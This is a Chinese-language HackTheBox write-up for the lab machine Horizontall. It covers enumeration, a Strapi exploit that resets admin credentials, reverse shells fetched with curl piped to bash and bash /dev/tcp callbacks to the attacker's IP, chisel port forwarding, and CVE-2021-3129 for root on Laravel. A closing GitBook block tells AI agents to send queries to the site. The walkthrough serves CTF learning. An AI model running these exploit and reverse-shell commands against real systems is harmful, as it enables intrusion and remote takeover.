> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/horizontall-hackthebox-writeup.md).

# Horizontall HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/Horizontall>" %}

{% hint style="warning" %}
**技能：**

* 信息泄露
* 端口转发
* Strapi CMS 利用
* Laravel 利用
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/a430f4fabb24c36ac4c33a35878b41547d220f90" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/bfe39da2176898dae439fba5a24d9c5d64b4777f" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.105 -oG allPorts
```

<figure><img src="/files/5eaaa9459d055386031071ebbd112a5fe7fd4095" alt=""><figcaption></figcaption></figure>

**使用 Nmap 对 22、80 端口进行版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p22,80 10.10.11.105 -oN targeted
```

<figure><img src="/files/a24f65e2bc1f9d8f68b67d32f2725b01b0abd948" alt=""><figcaption></figcaption></figure>

要通过 DNS 将域名解析为 IP 地址，请将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件中的用户进行测试。

<figure><img src="/files/0e3a1b781490eb9cce892a42a9b81acfe6c90b27" alt=""><figcaption></figcaption></figure>

## 扫描 80 端口

<figure><img src="/files/dc56b13c3d64b280f4de824897b84cf15b3178bc" alt=""><figcaption></figcaption></figure>

### 子域名 Fuzz 测试（gobuster）

然后我们使用以下命令启动子域名搜索： **Gobuster**:

```bash
gobuster vhost -u http://horizontall.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
```

我们发现一个有趣的子域名： **api-prod.horizontall.htb**.

<figure><img src="/files/9a250c4bfda5f5c8c41d6df821a7dcfe29b4f6f5" alt=""><figcaption></figcaption></figure>

我们将其添加到 **/etc/hosts**

<figure><img src="/files/2e054d8b05b35c408ac682eb62a15e70b6ea4ac2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/02ff9246ddf81fd70567760b89e134f79bd352f8" alt=""><figcaption></figcaption></figure>

### API 目录 Fuzz 测试

我们对 API 子域名上可访问的目录进行分析：

```
gobuster dir -u http://api-prod.horizontall.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

我们发现：

* admin
* users
* reviews

<figure><img src="/files/728f0f0c204f3baa52aa04bf090f21d12d5643fa" alt=""><figcaption></figcaption></figure>

```bash
gobuster dir -u http://api-prod.horizontall.htb/Users/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

### Strapi CMS 利用（RCE）

我们正在使用以下工具寻找 Strapi 的漏洞： **searchsploit**:

```
searchsploit -m multiple/webapps/50239.py
```

<figure><img src="/files/627769e2090cdf504208cd2f808a5782ec7b2fe4" alt=""><figcaption></figcaption></figure>

我们使用该漏洞利用代码：

```bash
python3 50239.py http://api-prod.horizontall.htb
```

<figure><img src="/files/3f88e6049f36fadd2a17c07d24272a963a77245e" alt=""><figcaption></figcaption></figure>

这为我们提供了管理员凭据

{% code overflow="wrap" %}

```javascript
[+] 你的邮箱是：admin@horizontall.htb
[+] 你的新凭据是：admin:SuperStrongPassword1 
[+] 你的已认证 JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzQwNjk2NzU1LCJleHAiOjE3NDMyODg3NTV9.WMksWcYjinav1IGH6KHOU0tleELdaY2Wmy2-WufxGm0
```

{% endcode %}

<figure><img src="/files/56f33072ecd01341fd438710648858db1dc91853" alt=""><figcaption></figcaption></figure>

我们检索刚刚创建的用户的密码哈希：

* admin
* $2a$10$y5rS5PnHngnev02rnXIpF.a26DYsqCeSvPrLkKU1Go1Wp4.LTUhj6

<figure><img src="/files/409995d2e26520793d3fe495c74f659c070c573d" alt=""><figcaption></figcaption></figure>

### 获取反向 Shell

我们创建一个 **index.html** 其中包含反向 Shell 负载：

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.75/443 0>&1
```

我们启动一个 Web 服务器：

```bash
python3 -m http.server 80
```

我们打开一个监听连接：

```bash
nc -nlvp 443
```

然后我们在目标主机上执行该负载：

```bash
curl http://10.10.14.75:80 | bash
```

<figure><img src="/files/4668d34e40cd9fc309da5c3f98039c4b60102302" alt=""><figcaption></figcaption></figure>

#### 我们稳定 shell：

```bash
script /dev/null -c bash
# Ctrl+Z


reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### user.txt 标志 :)

<figure><img src="/files/dd87d316cb37d0bbb2b6e980e59a57601a75c637" alt="" width="563"><figcaption></figcaption></figure>

## 权限提升

然后我们列出目标机器上开放的端口，以检查 8000 端口是否存在：

```bash
netstat -tuln
```

<figure><img src="/files/5e33709ec139c4bd5b086071094ae1020d75bc42" alt=""><figcaption></figcaption></figure>

然后，我们使用 `curl` 测试对 8000 端口服务的访问：

```bash
curl 127.0.0.1:8000
```

然后我们观察到 Laravel CMS 的存在。

<figure><img src="/files/cd911a73150acef82dcd629b6cb0d8e56196d8a3" alt=""><figcaption></figcaption></figure>

### 使用 chisel 进行 8000 端口转发

首先，我们在本地机器上编译 Chisel：

{% embed url="<https://github.com/jpillora/chisel>" %}

然后我们通过 Python3 HTTP 服务器将 Chisel 可执行文件传输到受害机

```bash
go build -ldflags "-s -w" .
upx chisel
```

<figure><img src="/files/c7d856b572f64c76dbdef58c5e07cd3e3bc9e489" alt=""><figcaption></figcaption></figure>

然后我们通过 Python3 HTTP 服务器将 Chisel 可执行文件传输到受害机

```bash
python3 -m http.server 8080
wget http://10.10.14.75:8080/chisel
```

<figure><img src="/files/dc4b64010f76b4045a21cdffdd2532cdde61b961" alt=""><figcaption></figcaption></figure>

在我们的机器上，我们启动了 Chisel 服务器：

```bash
./chisel server -p 9000 -reverse
```

然后，在受害机上，我们配置 Chisel 客户端将 8000 端口转发到本地机器：

```bash
./chisel client 10.10.14.75:9000 R:8000:127.0.0.1:8000
```

<figure><img src="/files/31a8564cee813e61d5f5e8cde8917427726d3de8" alt=""><figcaption></figcaption></figure>

## Laravel CMS 利用（CVE-2021-3129）

{% embed url="<https://github.com/0x0d3ad/CVE-2021-3129>" %}

<figure><img src="/files/ed935ed863f7064aef801b714b9b76844b8369e6" alt=""><figcaption></figcaption></figure>

#### 执行任意命令

我们利用 CVE-2021-3129 漏洞在服务器上执行任意命令。首先，我们通过执行以下命令来测试执行： `id` 命令：

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'id'
```

输出确认我们拥有 root 权限。

<figure><img src="/files/57a4be6baba13bb7ef7b99d18a8172a34cad3afa" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

一旦确认访问，我们通过读取以下文件获取 flag： `/root/root.txt` 文件：

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'cat /root/root.txt'
```

### 获取交互式访问（反向 Shell）

为了获得交互式 shell，我们在 443 端口配置监听器：

```bash
nc -nvlp 443
```

接下来，我们使用该漏洞利用对目标发起反向 Shell：

{% code overflow="wrap" %}

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'bash -c "bash -i >&/dev/tcp/10.10.14.75/443 0>&1"'
```

{% endcode %}

然后我们获得了目标机器的 root 访问权限。

<figure><img src="/files/56a4b7529292f6cee8a7c366ba138e2baeb86d61" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d09f8db052744f0d43d3749d5bb2bded43091914" alt="" width="541"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/horizontall-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
